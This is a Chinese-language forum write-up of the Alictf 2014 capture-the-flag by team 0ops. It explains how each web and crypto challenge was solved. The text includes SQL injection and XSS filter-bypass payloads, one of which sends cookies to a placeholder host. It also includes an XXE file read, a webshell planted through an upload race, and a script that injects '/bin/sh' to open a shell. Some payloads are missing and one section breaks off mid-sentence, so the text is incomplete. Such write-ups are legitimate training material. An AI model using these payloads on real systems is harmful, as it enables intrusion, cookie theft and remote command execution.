阅读:3049回复:0
Alictf2014 Writeup
Team Name: 0ops
ctf所有文件打包下载:Alictf.zip Part 1 BigData 100pt 因为是webshell,一般是post请求,但是经过检查所有post并无异常。这样,在get请求的情况下,可能会有关键字。 尝试eval,shell,hack,attack, evil,login,pass等关键字,发现可疑文件: config1.php?act=attack 统计id可得答案。 200pt 连上服务器看到这是一个模拟两方通信的游戏,而玩家可以作为中间人篡改通信的消息。消息是由一串在Start与End之间由逗号分隔的数字组成的,根据数字的大小直接猜测其为十进制的ASCII码,解码后看到alice与bob互相交换了自己的RSA公钥,而后的通信就是用RSA算法“加密”过了。 这里与其说是“加密”还不如说是“编码”,因为之前交换的公钥的模数N实在太短,非常容易就可以分解,强度这么弱的RSA就跟编码差不太多了。然后解出之后的通信数据,发现bob发送了一个[email protected],根据题目要求需要替换成[email protected],而后alice与bob会再度交换公钥,重复上述过程。 这里我因为想偷懒没有用分解N而后求d的方法,而是直接把双方在消息里发送的公钥的指数e从65537换成1,这样双方发送的消息就是明文了,而作为中 间人只是需要把修改后的消息用另一方真正的公钥再加密一次再发送即可,重复这样的过程许多次之后服务器就会把flag发送出来。 Part 2 Web-A 100pt 根据提示是一个手工注入,常规的一些注入payload发觉都失效,所以一开始是感觉做了过滤。后来根据论文http://www.exploit-db.com/papers/18263/ 的提示(False Injection),尝试了 Username: '-0||' / Password: 1 发觉还是失败。于是猜测可能并不是做了过滤,而是做了硬编码,不能出现-,只能用|。 最终的payload为: Username: '|0||' / Password: 1 即可拿到flag并提示web100b入口地址。 200pt 提交参数输出到onerror事件中,用js做了过滤,不能出现关键字,不能有“+”。 基础payload为 window['location']="http://xxx/"+document['cookie'] 想到用字符拼接绕过关键字过滤,用 'coo'['CONCAT'.toLowerCase()]('kie') 这种方式绕过“+”,最终payload为 "> url编码后提交得到flag。 300pt 根据题面猜测是XML实体注入。先找了一些中文网站的payload试了一下,发觉都不行,感觉主要原因是因为没有回显(结合题面的吐槽进一步确定 了)。于是开始Google。发现了这篇paper: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf。 pdf里讲得很详细,有exploit可用。 网页上填写内容为:  &external; xdb.xml的内容为: 要注意的地方是,这里不能直接用file协议取bb.php的内容,因为绝对路径不确定感觉。所以采用php://filter以及base64-encode的trick。最后读到的msg 再base64_decode一下就出来flag了。 400pt web400a就是抓包会看到一个文件上传的表单,上传文件后会给出上传后的路径和文件名,发现文件名与当前时间相关。 如/upload/upload/20140920170801.php。但是访问的时候会发现被删了。因此需要不断发生请求在被删之前访问到上传上去的脚本。脚本内容为在上一 级目录生成一句话。 然后在上级目录找到上传后的一句话,就可以菜刀连接了。 菜刀连上去之后发觉/home/wwwroot/default/upload目录下面有一个dfghjdjlkfghd.zip。但是有密码,所以一时之间束手无测。随后根据提示,要去 Github上进行查找。然后再根据之前curl连接的时候发觉返回结果有一个注释,大概是这个样子: 自然地,就去找nidongde的github主页,随后发现https://github.com/nidongde/test页面有解压缩密码: test_nidongde,解压之后得到一个php文件。提供了它的网址,以及一段内容,通过认证之后服务器会返回flag。条件: if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){ 由于对GET、GLOBAL等做了过滤,所以就用POST方式传数据。一开始卡住了,因为发现弄不出足够大的整数取反之后符合要求,但是再根据提示要用 x64的思维。x64下面自然int类型是很大的。最后的payload如下: curl -d '_POST[alibaba][security]=2347230984234' -i 'http://web400b.alictf.com/alibaba_CTF_security/' 即可得到flag。 500pt 页面最顶端js解密后为 location.href.indexOf("helloalibaba")==-1&&(location.href="http://www.alictf.com/"); 即需要在url里有"helloalibaba",可以人为构造a= helloalibaba来绕过 经过测试,本题有两层过滤。 Php过滤单引号、双引号和“-”,防止逃逸出script标签。 Js主要过滤&9' 就可以在远端起一个shell。剩下的还是要过程序前面的逻辑的问题,粗看了下似乎需要用户名为admin才有执行命令的权限,而做口令判断的这个地方用到了function3,而function3实际上是弗吉尼亚 密码,用admin登录时候的key就是”admin”,经过加密变换之后需要与”ALIBABA”相等,于是就可以构造好用户名和口令了,但是本地测试的时候却莫名 其妙地提示No privilege.感觉非常奇怪,于是就上gdb在校验密码的地方下了个断点,发现login变量先被赋值成1,而后又被赋值成0,非常诡异,而后再 去看代码,看到 if(strcmp(value,"ALIBABA") == 0) login = 1; else printf("%s login failed!",szUser); login = 0; 这个真是醉了,else后面居然没加大括号!这个跟苹果之前被爆出的goto fail bug有异曲同工之处。这就导致了login = 0;这句赋值始终会被执行, 同时也就意味着admin永远无法登陆成功,难道这个system就是故意放着逗你玩的吗?再从头仔细看一遍代码,发现提交数据中的temp.user和temp.pass长度都是128,而用来做判断的szUser和szPass只取了前面63个字节,并且只是对temp.user用function1去掉了尾部的空格,并没有处理szUser和szPass,只是 在作为guest登录成功之后才会用function1处理一下szUser,而后的权限检查是判断这个处理过后的szUser是否等于"admin",所以可以构造这样一个 user = 'admin'.ljust(64, ' ') + 'p' 以guest的逻辑登录并且绕过admin的权限检查,最终的提交数据为 user = 'admin'.ljust(64, ' ') + 'p' hashval = 'alibaba' password = '' for i in xrange(len(hashval)): c = chr((ord(hashval[i]) - ord('guest'[i%5])) % 26 + ord('a')) password += c cmd = '; /bin/sh&9 2>&9' data = user.ljust(128, 'x00') + password.ljust(128, 'x00') + cmd.ljust(256, 'x00') 本地测试的时候可以成功开出shell,不过远程的服务器就只是返回了一个flag而已>_ |
|